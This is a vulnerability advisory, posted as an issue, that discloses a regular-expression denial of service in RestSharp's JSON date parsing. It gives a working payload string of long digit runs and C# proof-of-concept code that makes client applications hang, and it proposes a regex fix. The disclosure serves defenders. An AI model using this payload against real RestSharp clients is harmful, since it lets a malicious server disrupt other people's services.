Description
This advisory was emailed to the maintainer. Posting here as an issue as requested.
Doyensec Vulnerability Advisory
- Regular Expression Denial of Service (REDoS) in RestSharp
- Affected Product: RestSharp (All released versions)
- Vendor: https://restsharp.dev
- Severity: Medium
- Vulnerability Class: Denial of Service
- Status: Open
- Author: Ben Caller (Doyensec)
SUMMARY
The .NET library RestSharp uses a regular expression which is vulnerable to Regular Expression Denial of Service (REDoS) when converting strings into DateTimes. If a server responds with a malicious string, the client using RestSharp will be stuck processing it for an exceedingly long time. This allows the remote server to trigger a Denial of Service.
TECHNICAL DESCRIPTION
The vulnerable regular expression is NewDateRegex in RestSharp.Extensions.StringExtensions:
It is used by the ParseJsonDate function when deserializing JSON responses into classes with DateTime properties.
Due to the (-?\d+)* part containing nested repeats, this regular expression has catastrophic backtracking when processing a long string of digits. The behaviour occurs as long as the digits are not followed immediately by a closing parenthesis ')'.
An example of a REDoS payload is new Date(12345678901234567890123456789012345.
The space between 'new' and 'Date' is required due to pre-processing in ParseJsonDate:
RestSharp/src/RestSharp/Extensions/StringExtensions.cs
Lines 124 to 126 in 0ed7b0a
The complexity is exponential: increasing the length of the malicious string of digits by one makes processing take about twice as long. On my laptop, 27 digits takes about 16 seconds to process and 28 digits takes about 32 seconds, so a string with 54 digits should take approximately 68 years to process.
The vulnerable regular expression was first introduced in commit 373a0a3
REPRODUCTION STEPS
The REDoS can be triggered by calling RestSharp.Extensions.StringExtensions.ParseJsonDate directly, or by deserializing JSON responses into a class with a property of type DateTime.
Example C# code to see the effect of the REDoS is attached below. Changing the length of the string of zeroes will change the processing time.
using System;
using System.Globalization;
using RestSharp;
using RestSharp.Extensions;
using RestSharp.Serialization.Json;
namespace DoyensecRestSharpRedosTest
{
class Thing
{
public DateTime Time { get; set; }
}
class Program
{
static void ByParseJsonDate()
{
var redos = "new Date(" + new String('0', 30);
DateTime dt = StringExtensions.ParseJsonDate(redos, CultureInfo.InvariantCulture);
}
static void ByDeserializer()
{
var redosJson = @"{""Time"": ""new Date(" + new String('0', 30) + @"""}";
var thing = (new JsonDeserializer()).Deserialize<Thing>(new RestResponse {Content = redosJson});
Console.WriteLine(thing.Time);
}
static void ByRequest()
{
// Server should return JSON {"Time": "new Date(000000000000000000000000000000"}
Thing thing = new RestClient("https://localhost/thing.json").Execute<Thing>(new RestRequest(Method.GET)).Data;
Console.WriteLine(thing.Time);
}
static void Main(string[] args)
{
ByDeserializer(); // or try ByParseJsonDate() or ByRequest()
}
}
}REMEDIATION
Fix NewDateRegex. We propose simply removing the asterisk:
static readonly Regex NewDateRegex = new Regex(@"newDate\((-?\d+)\)");.
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